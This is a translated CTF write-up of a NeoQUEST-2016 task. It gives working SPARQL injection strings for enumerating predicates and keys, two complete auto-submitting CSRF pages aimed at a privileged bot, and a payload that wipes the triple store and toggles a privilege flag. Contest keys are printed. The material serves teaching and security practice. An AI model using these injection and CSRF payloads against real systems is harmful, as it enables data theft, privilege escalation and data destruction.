一方、NeoQUEST-2016のオンラインステージのさらに別のタスクの解析が到着しました。今回は、Telegramメッセージを介したSPARQLインジェクションとCSRF攻撃について説明します。 タスクには3つの異なるキーが含まれ、1つのキーはユーザーIDリクエストでSPARQLインジェクションを使用して取得され、2番目と3番目のキーはインジェクションとCSRF攻撃を使用して取得されました。
タスクの初期データ
参加者のソースデータは、TelegramのサイトURLとボットIDでした。
最初にサイトにアクセスしたとき、ユーザーにはログイン/登録する機会が与えられました。 参加者がサイトに登録してログインすると、小さなチャットインターフェイスが開かれ、そこで共通の掲示板にメッセージを送信できました。 各参加者は、自分のIDと「Private DB:no」という碑文も確認しました。これから、プライベートデータベースにアクセスできなかったと結論付けることができます。
ほとんどの参加者はすぐにTelegramボットと通信したいと思っていましたが、彼はあまりおしゃべりな人ではなく、「こんにちは、お元気ですか?」などとよく答えました。 したがって、参加者はすぐに彼を放っておき、サイトを探索し続けました。
最初のキー:SPARQLインジェクションを実装します
サイトにアクセスして、ブラウザ開発者ツールの「ネットワーク」タブを開くと、サーバーへの次の呼び出しが表示される場合があります。
最も興味深いリクエストは「get-id」で、サーバーから現在のユーザーIDを受け取ります。 論理的なアクションは、注入用のパラメーターをチェックする試みでした。 リクエストを「cURL」(Chromeコンテキストメニューの「cURLとしてコピー」)にコピーして実行すると、次の結果が得られます。
入力リクエストパラメータは「タイプ」と「ユーザー」です。 しかし、フィールド「user」のシンボル「 '」を置き換えるとどうなりますか? サーバーは次の形式のエラーを返しました。
Lexical error at line 2, column 40. Encountered: <EOF> after : "\' :hasId ?id }"
さまざまな文字をソートし、ユーザー名の最後に記号「<」を付けた応答を次に示します。
Encountered " "<" "< "" at line 2, column 26. Was expecting one of: "(" ... "!" ... "^" ... "a" ... <Q_IRI_REF> ... <PNAME_NS> ... <PNAME_LN> ... <VAR1> ... <VAR2> ...
少しインターネットを検索した後、参加者はサーバーがデータベースを使用してトリプレットを保存し、データベースクエリの言語はSPARQLに過ぎないと結論付けました。 誤って判断すると、パラメーターがフィルター処理されていないことを理解できました。つまり、SPARQLインジェクションを実行できます。
SPARQLインジェクションについては、 こちらとこちらをご覧ください 。 その本質は、必要なデータ(たとえば、ユーザーIDなど)に加えて、外部データからの要求の本文で、要求を補完するコードが取得できることです。 SPARQLクエリの簡単な例は次のとおりです。
select ?pass where { <urn:user1> <urn:hasPassword> ?pass }
リクエストとは次のことを意味します:パスワードを選択しますか(?パスは変数です)、サブジェクト(<urn:user1>)にパスワードがあります(述語<urn:hasPassword>)?パス。 「<>」では、引用符はサブジェクトの完全なURN、およびこの例のように述語を示します。 プレフィックスを指定すると、角度引用符なしでサブジェクトとオブジェクトを参照できます。
そのため、エラーログ ":hasId?Id}"を分析するときに最初に頭に浮かぶのは、述語 ":hasId"の代わりに変数 "?P"を置き換えて、残りのリクエストをコメントアウトすることです。
tester ?p ?id }#
そのようなリクエストの結果として、述語の名前が返されます:<http://neobit.ru/neoquest#hasId>
リストから次の述語を取得するには、制限オフセット構造を使用できます。
tester ?p ?id } limit 1 offset 1#
2番目の述語は次のとおりです。<http://neobit.ru/neoquest#hasFirstKey>
3番目:<httr://neobit.ru/neoquest#hasPrivateDatabase>
hasFirstKey述語は、これがタスクの最初のキーであることを示唆しています。 そのため、その値を取得する必要があります。
tester :hasFirstKey ?id }#
値「0356c848f23540060a84b453dd9cf0e4」が返されます。 最初のキーがマイニングされます!
2番目のキー:Telegramメッセージを送信してCSRFを実装します
チャットにメッセージを送信するためのフォームのすぐ下に、ユーザーに個人的なメッセージを送信するために設計された別のフォームがありました。 しかし、残念ながら、NeoQUESTの参加者、このフォームのフィールドはアクティブではありませんでした。 また、チャットには「プライベートメッセージ」タブがあり、その内部は空でした。 明らかに、ユーザー宛のメッセージがあったはずです。
次に、フォームコードを見つけ、「To User」フィールドにユーザー名を入力して、メッセージを手動で送信してみます。 自分自身にメッセージを送信する参加者は、「管理者のみがプライベートメッセージを送信できます」というエラーメッセージを受信しました。 つまり、特権を持つユーザーのみがプライベートメッセージを送信できます。 そのとき、サイレントボットはすぐに記憶されました。おそらく、彼が必要な特権を持つユーザーなのでしょうか。
参加者は試行錯誤を通じて、ボットにリンクを送信したときに、「あなたのサイトはとても面白い!」という見返りを受け取ったことを発見しました。つまり、ボットはリンクが送信されたサイトに行きました。
いわゆる「クロスサイトリクエストフォージェリ」またはCSRF攻撃を行うことにより、特権を使用して個人メッセージを送信しようとすることは残っています。 CSRFの詳細については、 こちらをご覧ください。
これを行うには、無料のホスティングと送信フォームのあるページが必要です。 CSRF脆弱性を悪用するページは次のようになります。
<html> <body> <iframe name="frame"></iframe> <form method="post" action="http://213.170.91.84/users-db/send-message" target="frame" id="form"> <input type="hidden" name="title" value="CSRF" /> <input type="hidden" name="body" value="CSRF" /> <input type="hidden" name="user" value="tester" /> </form> <script>document.getElementById('form').submit()</script> </body> </html>
そして、2つの簡単なステップ:htmlファイルへのリンクをボットに送信し、「プライベートメッセージ」タブに移動します。ここに到着したメッセージは、ヘッダーに2番目のキー「9235bfeeb0cf939f4cf5075c9c7e13f8」です。
3番目のキー:CSRFを介したSPARQLの実装
丁寧なNeoQUEST参加者は、最初のキーを受け取ったときに、データベースに述語<http://neobit.ru/neoquest#hasPrivateDatabase>があることをすぐに思い出しました。 その値は「0」に設定されました。 そのため、SPARQLインジェクションを使用して値を「1」に設定してみてください。
一般的なチャットへの送信のメインフォームは脆弱であり、入力パラメータはフィルタリングされません。 データベースからすべての情報を削除するリクエストを作成し、リクエストをメッセージ本文に置き換えます。
n"}; delete {?s ?p ?o} where {?s ?p ?o}; insert data {<http://n#n><http://n#n> "n
リクエストが正常に実行されたら、メッセージの一般的なチャットをクリアする必要があります。すべてのメッセージはデータベースから削除されました。
このURLは、メッセージがデータベース「messages-db」「http://213.170.91.84/messages-db/send-message」に保存され、フラグ「hasPrivateDatabase」がデータベース「users-db」「http: //213.170.91.84/users-db/get-id "。
2番目のキーを受信すると、管理者に代わってメッセージを送信するために、CSRFがURL「http://213.170.91.84/users-db/send-message」を介して使用されました。 これは、変更を行う必要があるまさにその基礎です。 「messages-db」に基づいてトレーニングした後、参加者はCSRFを介してSPARQLインジェクションを試行し始めました。
このようなクエリは次のようになります。
<html> <body> <iframe name="frame"></iframe> <form method="post" action="http://213.170.84.29/users-db/send-message" target="frame" id="form"> <input type="hidden" name="title" value="CSRFCSRF" /> <input type='hidden' name='body' value='n"};delete data {:tester :hasPrivateDatabase 0};insert data {:tester :hasPrivateDatabase 1};insert data {<http://n#n><http://n#n> "n' /> <input type="hidden" name="user" value="tester" /> </form> <script>document.getElementById('form').submit()</script> </body> </html>
次に、リンクがボットに送信されました。 すべてが正しく行われた場合、メインページを更新した後、参加者は3番目のキー「c69d16050cda975cd39de」と緑色のライン「Private DB:yes」を確認しました。
ところで、私たちの参加者の一人が、このタスクの通過に関するかなり詳細な記事を公開しました。 ここで読むことができます 。
結論として...
従来のSQLデータベースに慣れている多くの参加者は、特別なクエリ言語SPARQLを使用する必要のあるトリプレットを保存するためのデータベースに遭遇したときに混乱を経験しました。 しかし、かなりすぐに、ここには複雑なものは何もないことが判明し、ここでの注入の操作も突然終了します!
先-NeoQUEST-2016のオンラインステージのタスクの残りの分析と、もちろん、7月7日にサンクトペテルブルクで開催される「対立」そのものです。 今年、ゲストはレポートの大規模なプログラムとあなたが素晴らしい賞品を獲得できる多くのコンテストを見つけます! 登録はNeoQUESTウェブサイトで公開されていますので、どうぞ !